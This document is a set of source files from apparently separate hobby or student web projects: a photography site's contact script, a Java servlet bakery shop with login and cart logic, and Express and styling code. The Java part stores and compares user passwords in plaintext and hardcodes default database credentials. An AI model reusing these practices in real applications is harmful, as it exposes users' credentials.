} else if (nome.value == "" && mensagem.value == "") {
link = "https://api.whatsapp.com/send?phone=5527997450320&text=Olá, Maitê. Gostaria de solicitar um orçamento."
window.open(link)
} else if (!nome.value == "" && mensagem.value == "") { // se possuir apenas nome
link = "https://api.whatsapp.com/send?phone=5527997450320&text=Olá, Maitê. Me chamo "+nome.value+". Gostaria de solicitar um orçamento."
window.open(link)
} else if (!mensagem.value == "" && nome.value == "") { // se possuir apenas mensagem
link = "https://api.whatsapp.com/send?phone=5527997450320&text=Olá, Maitê. "+mensagem.value;
window.open(link)
}
}
function contactWppPromo() {
link = "https://api.whatsapp.com/send?phone=5527997450320&text=Olá, Maitê. Quero saber mais sobre a promoção do mês dos pais.";
window.open(link)
}<file_sep>/*Update pages content
Author: <NAME>
License: Open Source, you can use it wherever you want */
/* Recebe descrições */
const casalDescription = "O ensaio para casais é o registro do mais belo sentimento da vida: o amor. Você e seu par merecem esse registro!";
const gestanteDescription = "A materninade é sublime. Eternize esse momento único da vida com belas imagens!";
const infantilDescription = "Assim como os pequenos vivem brincando e correndo, assim também corre o tempo. Registre cada fase deles!";
const familiaDescription = "Viva em família e eternize os mais lindos momentos!";
const festasAniversarioDescription = "O tempo voa! Existem datas especiais que precisam de registros para futuras recordações!";
const femininoDescription = "Força, alegria e expressão de feminilidade!";
const restauracaoDescription = "A restauração e digitalização de fotografias é para quem precisa recuperar e guardar, para sempre, as suas recordações!"
/*Funcionamento de mecânica do FadeIn*/
let i=0;
function update(){
alteraDescricoes();
}
function alteraDescricoes(){
/* Insere no elemento com id voltado para recebimento de descrição */
document.querySelector('.casal-description').innerHTML=casalDescription;
document.querySelector('.gestante-description').innerHTML=gestanteDescription;
document.querySelector('.infantil-description').innerHTML=infantilDescription;
document.querySelector('.familia-description').innerHTML=familiaDescription;
document.querySelector('.festas-aniversario-description').innerHTML=festasAniversarioDescription;
document.querySelector('.feminino-description').innerHTML=femininoDescription;
document.querySelector('.restauracao-description').innerHTML=restauracaoDescription;
}
function updateInfantil(){
document.querySelector('.infantil-description').innerHTML=infantilDescription;
fadeElementIn(document.querySelector('.fadein'));
// document.querySelector('#viewer').style.backgroundImage = 'url(../../strg/00-45-78-c5-68-ii/ei-imghd-1.jpg)';
}
function updateCasal(){
document.querySelector('.casal-description').innerHTML=casalDescription;
fadeElementIn(document.querySelector('.fadein'));
// document.querySelector('#viewer').style.backgroundImage = 'url(../../strg/00-4B-7D-E2-61-ec/ec-imghd-1.jpg)';
}
function updateFeminino(){
document.querySelector('.feminino-description').innerHTML=femininoDescription;
fadeElementIn(document.querySelector('.fadein'));
// document.querySelector('#viewer').style.backgroundImage = 'url(../../strg/00-2C-7A-E1-E3-ef/ef-imghd-1.jpg)';
}
function updateGestante(){
document.querySelector('.gestante-description').innerHTML=gestanteDescription;
fadeElementIn(document.querySelector('.fadein'));
// document.querySelector('#viewer').style.backgroundImage = 'url(../../strg/00-2C-1A-9B-3B-eg/eg-imghd-2.jpg)';
}
function updateFestasAniversario(){
document.querySelector('.festas-aniversario-description').innerHTML=festasAniversarioDescription;
fadeElementIn(document.querySelector('.fadein'));
// document.querySelector('#viewer').style.backgroundImage = 'url(../../strg/00-2C-7A-E1-E3-ef/ef-imghd-1.jpg)';
}
function updateFamilia(){
document.querySelector('.familia-description').innerHTML=familiaDescription;
fadeElementIn(document.querySelector('.fadein'));
// document.querySelector('#viewer').style.backgroundImage = 'url(../../strg/00-2C-7A-E1-E3-ef/ef-imghd-1.jpg)';
}
function updateRestauracao(){
document.querySelector('.restauracao-description').innerHTML=restauracaoDescription;
fadeElementIn(document.querySelector('.fadein'));
// document.querySelector('#viewer').style.backgroundImage = 'url(../../strg/00-2C-7A-E1-E3-ef/ef-imghd-1.jpg)';
}
function updateSobre(){
fadeElementIn(document.querySelector('.about-pic'));
}
function updateContato(){
fadeElementIn(document.querySelector('.text-msg-box1'));
fadeElementIn(document.querySelector('.text-msg-box2'));
fadeElementIn(document.querySelector('.text-msg-box3'));
}
function updateEnsaios(){
fadeElementIn(document.querySelector('#content'));
}
// exibe o elemento suavemente
function fadeElementIn(elemento) {
if (i < 101){ // enquanto i for menor que 100, faça:
elemento.style.opacity = i+'%'; // opacidade = i,
i++; // aumente 1 no i;
setTimeout(() => fadeElementIn(elemento), 8); // chame esta funcao novamente em 40 milissegundos
}
}
|
1c09a280d185c7e508286c35b6fa748fe752ce7e
|
[
"JavaScript"
] | 2
|
JavaScript
|
edinhotorres/photoart864
|
189596b0bb5a0e30a34d3ac94cbd32b40480dba0
|
a69e0e7d14ddd5b8384bf5ba11ce30999862b2ab
|
refs/heads/master
|
<repo_name>matheusmontenegro/Delicia-e-Cia<file_sep>/Delicia e Cia/src/java/DAO/ProdutoDAOint.java
package DAO;
import Bean.Produto;
import java.sql.SQLException;
import java.util.ArrayList;
interface ProdutoDAOint {
public void cadastrar(Produto produto) throws SQLException;
public ArrayList<Produto> listarTodos(String tipo) throws SQLException;
public Produto produtoPorId(int id) throws SQLException;
public String getPrecoUnidade(int id) throws SQLException;
public String getPrecoCento(int id) throws SQLException;
}
<file_sep>/Delicia e Cia/src/java/Conexao/Conexao.java
package Conexao;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class Conexao {
private static Connection connection = null;
private Conexao(){}
public static Connection getConnection() throws ClassNotFoundException, SQLException{
if(!(connection instanceof Connection)){
Class.forName("org.postgresql.Driver");
connection = DriverManager.getConnection("jdbc:postgresql://localhost:5432/loginex", "postgres", "postgres");
}
return connection;
}
public static void closeConnection() throws SQLException{
if(connection instanceof Connection){
connection.close();
}
}
}<file_sep>/Delicia e Cia/src/java/DAO/PessoaDAOint.java
package DAO;
import Bean.Pessoa;
import java.sql.SQLException;
interface PessoaDAOint {
public String cadastrar(Pessoa pessoa) throws SQLException; //cadastro de usuário
public boolean cpfCheck(String cpf) throws SQLException; //Verificação do cpf no banco para cadastro
public boolean rgCheck(String rg) throws SQLException; //verificação do rg no banco para cadastro
public boolean loginCheck(String login) throws SQLException; //verificação do login no banco para cadastro
public boolean login(String login, String password) throws SQLException; //Validação do login
public String getUserName(String login) throws SQLException; //Requisição do nome do Usuário após logado
public boolean isAdmin(String login) throws SQLException; //verificação de permissão do usuário logado
public Pessoa getPessoa(String login) throws SQLException;//Busca dos dados do usuário
public int getId(String login) throws SQLException;
}
<file_sep>/Delicia e Cia/src/java/DAO/PessoaDAO.java
package DAO;
import Bean.Pessoa;
import Conexao.Conexao;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
public class PessoaDAO implements PessoaDAOint{
private Connection connection;
public PessoaDAO() throws ClassNotFoundException, SQLException{
this.connection = Conexao.getConnection();
}
@Override
public boolean login(String login, String password) throws SQLException{
String sql = "select * from pessoa where login = ? and senha = ?";
int row = 0;
PreparedStatement stmt = connection.prepareStatement(sql, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
stmt.setString(1, login);
stmt.setString(2, password);
stmt.execute();
ResultSet rs = stmt.getResultSet();
rs.last();
row = rs.getRow();
stmt.close();
if(row == 0) {
return false;
}else{
return true;
}
}
@Override
public String getUserName(String login) throws SQLException{
String sql = "select nome from pessoa where login = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, login);
stmt.execute();
ResultSet rs = stmt.getResultSet();
rs.next();
String nome = rs.getString(1);
stmt.close();
return nome;
}
@Override
public boolean cpfCheck(String cpf) throws SQLException{
String sqlCPF = "select * from pessoa where cpf = ?";
int rowCpf = 0;
PreparedStatement stmtCpf = connection.prepareStatement(sqlCPF, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
stmtCpf.setString(1, cpf);
stmtCpf.execute();
ResultSet rsCpf = stmtCpf.getResultSet();
rsCpf.last();
rowCpf = rsCpf.getRow();
stmtCpf.close();
if(rowCpf == 0){
return true;
}else{
return false;
}
}
@Override
public boolean rgCheck(String rg) throws SQLException{
String sqlRG = "select * from pessoa where rg = ?";
int rowRg = 0;
PreparedStatement stmtRG = connection.prepareStatement(sqlRG, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
stmtRG.setString(1, rg);
stmtRG.execute();
ResultSet rsRg = stmtRG.getResultSet();
rsRg.last();
rowRg = rsRg.getRow();
stmtRG.close();
if(rowRg == 0){
return true;
}else{
return false;
}
}
@Override
public boolean isAdmin(String login) throws SQLException{
String sql = "select admin from pessoa where login = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, login);
stmt.execute();
ResultSet rs = stmt.getResultSet();
rs.next();
int admin = rs.getInt(1);
if(admin == 1){
return true;
}else{
return false;
}
}
@Override
public boolean loginCheck(String login) throws SQLException{
String sqlLogin = "select * from pessoa where login = ?";
int rowLogin = 0;
PreparedStatement stmtLogin = connection.prepareStatement(sqlLogin, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
stmtLogin.setString(1, login);
stmtLogin.execute();
ResultSet rsLogin = stmtLogin.getResultSet();
rsLogin.last();
rowLogin = rsLogin.getRow();
stmtLogin.close();
if(rowLogin == 0){
return true;
}else{
return false;
}
}
@Override
public String cadastrar(Pessoa pessoa) throws SQLException{
String retorno = null;
if(rgCheck(pessoa.getRg())){
if(cpfCheck(pessoa.getCpf())){
if(loginCheck(pessoa.getLogin())){
String sql = "insert into pessoa (nome, cpf, login, senha, endereco, telefone, foto_perfil, email, rg) values(?,?,?,?,?,?,?,?,?)";
try {
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, pessoa.getNome());
stmt.setString(2, pessoa.getCpf());
stmt.setString(3, pessoa.getLogin());
stmt.setString(4, pessoa.getSenha());
stmt.setString(5, pessoa.getEndereco());
stmt.setString(6, pessoa.getTelefone());
stmt.setString(7, pessoa.getFoto_perfil());
stmt.setString(8, pessoa.getEmail());
stmt.setString(9, pessoa.getRg());
stmt.execute();
stmt.close();
} catch (SQLException e) {
e.printStackTrace();
}
retorno = "Usuário cadastrado com sucesso!";
}else{
retorno = "O Login informado já está cadastrado!";
}
}else{
retorno = "O CPF informado já está cadastrado";
}
}else{
retorno = "O RG informado já está cadastrado.";
}
return retorno;
}
@Override
public Pessoa getPessoa(String login) throws SQLException{
String sql = "select * from pessoa where login = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, login);
stmt.execute();
ResultSet rs = stmt.getResultSet();
rs.next();
Pessoa pessoa = new Pessoa();
pessoa.setNome(rs.getString(2));
pessoa.setCpf(rs.getString(3));
pessoa.setLogin(rs.getString(4));
pessoa.setEndereco(rs.getString(6));
pessoa.setTelefone(rs.getString(7));
pessoa.setFoto_perfil(rs.getString(8));
pessoa.setRg(rs.getString(9));
stmt.close();
return pessoa;
}
@Override
public int getId(String login) throws SQLException{
String sql = "select id from pessoa where login = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, login);
stmt.execute();
ResultSet rs = stmt.getResultSet();
rs.next();
int id = rs.getInt("id");
stmt.close();
return id;
}
}
<file_sep>/Delicia e Cia/src/java/Servlets/ServletFinalizarPedido.java
package Servlets;
import Bean.Pedido;
import Bean.Produto;
import Bean.ProdutoPedido;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.LinkedHashMap;
import java.util.Map;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
@WebServlet(name = "ServletFinalizarPedido", urlPatterns = {"/ServletFinalizarPedido"})
public class ServletFinalizarPedido extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
PrintWriter out = response.getWriter();
HttpSession session = request.getSession();
if(session.getAttribute("carrinho")!= null){
LinkedHashMap<Integer, Produto> produtos = (LinkedHashMap<Integer, Produto>)session.getAttribute("carrinho");
LinkedHashMap<Integer, Pedido> compra = new LinkedHashMap<>();
double totalCompra = 0;
for(Map.Entry<Integer, Produto> entry : produtos.entrySet()){
Pedido pedido = new Pedido();
int id = entry.getKey();
Produto produto = entry.getValue();
ProdutoPedido produtoPedido = new ProdutoPedido();
double quantidade = Double.parseDouble(request.getParameter(Integer.toString(id)));
double preco = Double.parseDouble(produto.getPrecoUnidade());
double precoCento = Double.parseDouble(produto.getPrecoCento());
double valorProduto = 0;
if(quantidade < 100){
valorProduto = preco * quantidade;
}else if(quantidade >= 100){
double qtd = quantidade / 100.0;
int centena = (int) qtd;
double temp = (qtd-centena)*100;
temp = Math.round(temp);
int dezena = (int)temp;
valorProduto = (centena * precoCento)+(dezena * preco);
}
totalCompra = valorProduto + totalCompra;
produtoPedido.setProduto(produto);
produtoPedido.setPrecoTotal(valorProduto);
produtoPedido.setQuantidade((int)quantidade);
pedido.setProdutoPedido(produtoPedido);
pedido.setValorTotal(totalCompra);
compra.put(id, pedido);
}
request.setAttribute("total", totalCompra);
session.setAttribute("compra", compra);
RequestDispatcher rd = request.getRequestDispatcher("finalizarPedido.jsp");
rd.forward(request, response);
}else{
out.println("<script>alert('Carrinho Vazio!');</script>");
out.println("<script>history.go(-1)</script>");
//RequestDispatcher rd = request.getRequestDispatcher("index.jsp");
//rd.forward(request, response);
}
}
}
<file_sep>/Delicia e Cia/src/java/DAO/ProdutoDAO.java
package DAO;
import Bean.Produto;
import Conexao.Conexao;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
public class ProdutoDAO implements ProdutoDAOint{
private Connection connection;
public ProdutoDAO() throws ClassNotFoundException, SQLException{
this.connection = Conexao.getConnection();
}
@Override
public void cadastrar(Produto produto) throws SQLException{
String sql = "INSERT INTO public.produto"
+ "(nome_produto, descricao, tipo, quantidade, preco_unidade, "
+ "preco_cento, foto) "
+ "VALUES (?, ?, ?, ?, ?, ?, ?);";
try {
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, produto.getNomeProduto());
stmt.setString(2, produto.getDescricao());
stmt.setString(3, produto.getTipo());
stmt.setInt(4, produto.getQuantidade());
stmt.setString(5, produto.getPrecoUnidade());
stmt.setString(6, produto.getPrecoCento());
stmt.setString(7, produto.getFoto());
stmt.execute();
stmt.close();
} catch (SQLException e) {
e.printStackTrace();
}
}
@Override
public ArrayList<Produto> listarTodos(String tipo) throws SQLException{
ArrayList<Produto> produtos = new ArrayList<>();
String sql = "SELECT * FROM produto where tipo = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, tipo);
ResultSet rs = stmt.executeQuery();
while(rs.next()){
Produto produto = new Produto();
produto.setIdProduto(rs.getInt(1));
produto.setNomeProduto(rs.getString(2));
produto.setDescricao(rs.getString(3));
produto.setTipo(rs.getString(4));
produto.setQuantidade(rs.getInt(5));
produto.setFoto(rs.getString(6));
produto.setPrecoUnidade(rs.getString(7));
produto.setPrecoCento(rs.getString(8));
produtos.add(produto);
}
return produtos;
}
@Override
public Produto produtoPorId(int id) throws SQLException{
String sql = "SELECT * FROM produto where id = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setInt(1, id);
ResultSet rs = stmt.executeQuery();
Produto produto = new Produto();
while(rs.next()){
produto.setIdProduto(rs.getInt(1));
produto.setNomeProduto(rs.getString(2));
produto.setDescricao(rs.getString(3));
produto.setTipo(rs.getString(4));
produto.setQuantidade(rs.getInt(5));
produto.setFoto(rs.getString(6));
produto.setPrecoUnidade(rs.getString(7));
produto.setPrecoCento(rs.getString(8));
}
return produto;
}
@Override
public String getPrecoUnidade(int id) throws SQLException{
String sql = "SELECT preco_unidade FROM produto WHERE id = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setInt(1, id);
ResultSet rs = stmt.executeQuery();
rs.next();
return rs.getString("preco_unidade");
}
@Override
public String getPrecoCento(int id) throws SQLException{
String sql = "SELECT preco_cento FROM produto WHERE id = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setInt(1, id);
ResultSet rs = stmt.executeQuery();
rs.next();
return rs.getString("preco_cento");
}
}
<file_sep>/Delicia e Cia/src/java/Servlets/ServletPedido.java
package Servlets;
import Bean.Produto;
import DAO.ProdutoDAO;
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
@WebServlet(name = "ServletPedido", urlPatterns = {"/ServletPedido"})
public class ServletPedido extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
PrintWriter out = response.getWriter();
int id = Integer.parseInt(request.getParameter("idDelete"));
out.println("<script>alert('"+id+"')</script>");
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
int id = Integer.parseInt(request.getParameter("id"));
try {
ProdutoDAO produtoDAO = new ProdutoDAO();
Produto produto;
produto = produtoDAO.produtoPorId(id);
HttpSession session = request.getSession();
if(session.getAttribute("carrinho") != null){
LinkedHashMap<Integer, Produto> produtos = (LinkedHashMap<Integer, Produto>)session.getAttribute("carrinho");
if(!produtos.containsKey(id)){
produtos.put(id, produto);
out.println("<script>alert('Produto adicionado ao carrinho.');</script>");
}else{
out.println("<script>alert('Este Produto Já Foi Adicionado Ao Carrinho.');</script>");
}
}else{
LinkedHashMap<Integer, Produto> produtos = new LinkedHashMap<>();
produtos.put(id, produto);
session.setAttribute("carrinho", produtos);
out.println("<script>alert('Produto adicionado ao carrinho.');</script>");
}
out.println("<script>history.go(-1);</script>");
} catch (ClassNotFoundException ex) {
Logger.getLogger(ServletPedido.class.getName()).log(Level.SEVERE, null, ex);
} catch (SQLException ex) {
Logger.getLogger(ServletPedido.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
<file_sep>/Delicia e Cia/src/java/Bean/ProdutoPedido.java
package Bean;
public class ProdutoPedido {
private Produto produto;
private int quantidade;
private double precoTotal;
/**
* @return the quantidade
*/
public int getQuantidade() {
return quantidade;
}
/**
* @param quantidade the quantidade to set
*/
public void setQuantidade(int quantidade) {
this.quantidade = quantidade;
}
/**
* @return the precoTotal
*/
public double getPrecoTotal() {
return precoTotal;
}
/**
* @param precoTotal the precoTotal to set
*/
public void setPrecoTotal(double precoTotal) {
this.precoTotal = precoTotal;
}
/**
* @return the produto
*/
public Produto getProduto() {
return produto;
}
/**
* @param produto the produto to set
*/
public void setProduto(Produto produto) {
this.produto = produto;
}
}
<file_sep>/Delicia e Cia/src/java/Servlets/ServletCadProduto.java
package Servlets;
import Bean.Produto;
import DAO.ProdutoDAO;
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(name = "ServletCadProduto", urlPatterns = {"/ServletCadProduto"})
public class ServletCadProduto extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
PrintWriter out = response.getWriter();
String nomeProduto = request.getParameter("nomeProduto");
String tipo = request.getParameter("tipo");
int quantidade = Integer.parseInt(request.getParameter("quantidade"));
String descricao = request.getParameter("descricao");
String precoUnidade = request.getParameter("precoUnidade");
String precoCento = request.getParameter("precoCento");
String foto = request.getParameter("foto");
Produto produto = new Produto();
produto.setTipo(tipo);
produto.setNomeProduto(nomeProduto);
produto.setQuantidade(quantidade);
produto.setDescricao(descricao);
produto.setPrecoUnidade(precoUnidade);
produto.setPrecoCento(precoCento);
produto.setFoto(foto);
try {
ProdutoDAO produtoDao = new ProdutoDAO();
produtoDao.cadastrar(produto);
out.println("<script>alert('Produto cadastrado com sucesso!')</script>");
out.println("<script>location.replace('cadastro.jsp')</script>");
} catch (ClassNotFoundException ex) {
Logger.getLogger(ServletCadProduto.class.getName()).log(Level.SEVERE, null, ex);
} catch (SQLException ex) {
Logger.getLogger(ServletCadProduto.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
<file_sep>/Delicia e Cia/src/java/Servlets/ServletComprar.java
package Servlets;
import Bean.Pedido;
import DAO.PedidoDAO;
import DAO.PessoaDAO;
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
@WebServlet(name = "ServletComprar", urlPatterns = {"/ServletComprar"})
public class ServletComprar extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
PrintWriter out = response.getWriter();
HttpSession session = request.getSession();
if(session.getAttribute("compra")!= null){
LinkedHashMap<Integer, Pedido> compra = (LinkedHashMap<Integer, Pedido>) session.getAttribute("compra");
int idPessoa = 0;
int idPedido = 0;
try {
PessoaDAO pessoaDao = new PessoaDAO();
String login = (String) session.getAttribute("login");
idPessoa = pessoaDao.getId(login);
PedidoDAO pedidoDao = new PedidoDAO();
double valor = Double.parseDouble(request.getParameter("totalCompra"));
if(idPessoa != 0){
idPedido = pedidoDao.insertPedido(valor, idPessoa);
}
for(Map.Entry<Integer, Pedido> entry : compra.entrySet()){
int id = entry.getKey();
Pedido pedido = entry.getValue();
System.out.println(idPedido);
System.out.println(id);
System.out.println(pedido.produtoPedido.getQuantidade());
System.out.println(pedido.produtoPedido.getPrecoTotal());
pedidoDao.insertProdutoPedido(idPedido, id, pedido.produtoPedido.getQuantidade(), pedido.produtoPedido.getPrecoTotal());
}
} catch (ClassNotFoundException ex) {
Logger.getLogger(ServletComprar.class.getName()).log(Level.SEVERE, null, ex);
} catch (SQLException ex) {
Logger.getLogger(ServletComprar.class.getName()).log(Level.SEVERE, null, ex);
}
session.setAttribute("compra", null);
session.setAttribute("carrinho", null);
out.println("<script>alert('Compra realizada com sucesso! Obrigado!');</script>");
out.println("<script>location.replace('index.jsp')</script>");
}else{
out.println("<script>alert('Você não escolheu nenhum produto!');</script>");
out.println("<script>location.replace('index.jsp')</script>");
}
}
}
<file_sep>/README.md
# Delicia-e-Cia
Projeto de avaliação de Programação WEB
<file_sep>/Delicia e Cia/src/java/Servlets/ServletLogout.java
package Servlets;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import sun.rmi.server.Dispatcher;
@WebServlet(name = "ServletLogout", urlPatterns = {"/ServletLogout"})
public class ServletLogout extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
PrintWriter out=response.getWriter();
HttpSession session=request.getSession();
session.invalidate();
out.print("<script>alert('Você foi desconectado!');</script>");
response.sendRedirect("index.jsp");
out.close();
}
}
<file_sep>/Delicia e Cia/src/java/Bean/Produto.java
package Bean;
public class Produto {
private int idProduto;
private String tipo;
private String nomeProduto;
private int quantidade;
private String descricao;
private String precoUnidade;
private String precoCento;
private String foto;
/**
* @return the tipo
*/
public String getTipo() {
return tipo;
}
/**
* @param tipo the tipo to set
*/
public void setTipo(String tipo) {
this.tipo = tipo;
}
/**
* @return the nomeProduto
*/
public String getNomeProduto() {
return nomeProduto;
}
/**
* @param nomeProduto the nomeProduto to set
*/
public void setNomeProduto(String nomeProduto) {
this.nomeProduto = nomeProduto;
}
/**
* @return the quantidade
*/
public int getQuantidade() {
return quantidade;
}
/**
* @param quantidade the quantidade to set
*/
public void setQuantidade(int quantidade) {
this.quantidade = quantidade;
}
/**
* @return the descricao
*/
public String getDescricao() {
return descricao;
}
/**
* @param descricao the descricao to set
*/
public void setDescricao(String descricao) {
this.descricao = descricao;
}
/**
* @return the precoUnidade
*/
public String getPrecoUnidade() {
return precoUnidade;
}
/**
* @param precoUnidade the precoUnidade to set
*/
public void setPrecoUnidade(String precoUnidade) {
this.precoUnidade = precoUnidade;
}
/**
* @return the precoCento
*/
public String getPrecoCento() {
return precoCento;
}
/**
* @param precoCento the precoCento to set
*/
public void setPrecoCento(String precoCento) {
this.precoCento = precoCento;
}
/**
* @return the foto
*/
public String getFoto() {
return foto;
}
/**
* @param foto the foto to set
*/
public void setFoto(String foto) {
this.foto = foto;
}
/**
* @return the idProduto
*/
public int getIdProduto() {
return idProduto;
}
/**
* @param idProduto the idProduto to set
*/
public void setIdProduto(int idProduto) {
this.idProduto = idProduto;
}
}
|
2962075a893b311925ba90fefbcbf47bdc577349
|
[
"Markdown",
"Java"
] | 13
|
Java
|
matheusmontenegro/Delicia-e-Cia
|
2465e75a664da257c23173a72f3fca56127462e3
|
3344aa5f589efd811fd6872ff253a26894a4548b
|
refs/heads/master
|
<repo_name>Akhmadjon-dev/technomed_qonBanki<file_sep>/client/src/styles/pages/app.js
import styled from "styled-components";
export const StyledApp = styled.section`
background-color: var(--bg-light);
.top-app {
margin-left: 20px;
margin-bottom: 20px;
display: flex;
align-items: center;
justify-content: space-between;
padding: 0px 20px;
padding-bottom: 25px;
border-bottom: 1px solid #dbe5ea;
h2 {
font-weight: bold;
font-size: 20px;
line-height: 20px;
}
.add-app {
background: linear-gradient(259.86deg, #ff8e34 -42.11%, #ff5c4a 85.54%);
display: flex;
align-items: center;
justify-content: center;
border-radius: 26px;
padding: 5px 15px;
&:hover {
transform: scale(1.05);
box-shadow: 0px 100px 80px rgba(255, 92, 74, 0.07),
0px 41.7776px 33.4221px rgba(255, 92, 74, 0.0503198),
0px 22.3363px 17.869px rgba(255, 92, 74, 0.0417275),
0px 12.5216px 10.0172px rgba(255, 92, 74, 0.035),
0px 6.6501px 5.32008px rgba(255, 92, 74, 0.0282725),
0px 2.76726px 2.21381px rgba(255, 92, 74, 0.0196802);
transition: all 0.3s ease-in;
}
}
@media (max-width: 450px) {
h2 {
font-size: 15px;
line-height: 15px;
}
.add-driver {
height: 30px;
padding: 0;
width: 100px;
}
}
}
.card__group {
width: 100%;
padding: 0px 30px;
display: flex;
flex-wrap: wrap;
justify-content: flex-start;
align-items: space-around;
padding-bottom: 30px;
.card__driver {
border-radius: 8px;
display: flex;
justify-content: space-between;
flex-direction: column;
align-items: center;
margin: 10px;
width: calc((100% - 80px) / 4);
background-color: #fff;
min-height: 300px;
margin-bottom: 10px;
box-shadow: var(--box-shadow);
overflow: hidden;
img {
margin-top: 30px;
width: 90px;
height: 90px;
object-fit: cover;
border-radius: 50%;
border: 3px solid #ffffff;
box-sizing: border-box;
}
h3 {
margin-top: 0px;
font-weight: bold;
font-size: 14px;
line-height: 21px;
color: #26284f;
}
ul {
list-style: none;
padding: 0;
display: flex;
align-items: flex-start;
flex-direction: column;
justify-content: flex-start;
li {
width: 100%;
display: flex;
align-items: center;
justify-content: space-around;
color: #b9c0d3;
icon {
width: 20%;
}
span {
width: 80%;
font-weight: normal;
font-size: 11px;
line-height: 16px;
color: #b9c0d3;
margin-left: 10px;
}
}
}
.card-item {
margin-bottom: 5px;
}
.card-item__icon {
width: 20px;
}
span.view__more {
width: 100%;
display: inline-block !important;
height: 50px;
color: #4064e3;
border-radius: 4px;
text-align: center;
line-height: 50px;
background: #e7ecff;
cursor: pointer;
&:hover {
background: var(--purpule);
color: #fff;
}
}
@media (max-width: 1125px) {
& {
width: calc((100% - 80px) / 3);
}
}
@media (max-width: 850px) {
& {
width: calc((100% - 80px) / 2);
}
}
@media (max-width: 650px) {
& {
width: calc((100%));
}
}
}
}
`;
export const StyledAppAdd = styled.section`
.top-app {
margin-left: 20px;
margin-bottom: 20px;
display: flex;
align-items: center;
justify-content: space-between;
padding: 0px 20px;
padding-bottom: 25px;
border-bottom: 1px solid #dbe5ea;
h2 {
font-weight: bold;
font-size: 20px;
line-height: 20px;
}
}
form {
display: flex;
justify-content: space-around;
align-items: center;
flex-direction: column;
flex-wrap: wrap;
.persons__form {
display: flex;
justify-content: space-around;
align-items: center;
div {
.input-container {
width: 400px;
}
}
}
.form__box {
width: 100%;
display: flex;
justify-content: space-around;
align-items: center;
flex-wrap: wrap;
.input-container {
width: 300px;
select {
width: 100%;
height: 34px;
padding-left: 40px;
border: none;
color: #000;
}
}
}
}
`;
<file_sep>/server/controllers/users.js
const bcrypt = require("bcrypt");
const Users = require("../models/users");
exports.fetchAllUsers = (req, res) => {
Users.find()
.then((Users) => res.json(Users))
.catch((err) => res.send(err));
};
exports.fetchUserById = (req, res) => {
const { id } = req.params;
Users.findById(id)
.then((User) => {
res.json(User);
})
.catch((err) => res.send(err));
};
exports.deleteAllUsers = (req, res) => {
Users.deleteMany()
.then(() => res.json("Deleted"))
.catch((err) => res.send(err));
};
exports.createUser = async (req, res) => {
const { password, email } = req.body;
const hashedPassword = await bcrypt.hash(password, 8);
const User = new Users({
...req.body,
password: <PASSWORD>Password,
});
User.save()
.then((User) => {
res.json(User);
})
.catch((err) => {
const msg =
err.code === 11000
? `Users with "${email}" email adress exists`
: err.errmsg;
res.json({ success: false, msg });
});
};
